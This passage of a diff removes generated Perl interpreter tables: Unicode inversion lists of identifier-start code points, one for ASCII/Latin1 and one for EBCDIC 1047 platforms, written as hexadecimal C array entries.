ASCII/Latin1 */ - -static const UV PL__PERL_IDSTART_invlist[] = { /* for ASCII/Latin1 */ - 1189, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x5F, - 0x60, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xA9E0, - 0xA9E5, - 0xA9E6, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFC5E, - 0xFC64, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFA, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, - 0xFEFD, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10140, - 0x10175, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL__PERL_IDSTART_invlist[] = { /* for EBCDIC 1047 */ - 1215, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x62, - 0x6A, - 0x6D, - 0x6E, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6E5, - 0x6E7, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x971, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE33, - 0xE40, - 0xE47, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x1820, - 0x1878, - 0x1880, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1AA7, - 0x1AA8, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3005, - 0x3008, - 0x3021, - 0x302A, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA67F, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 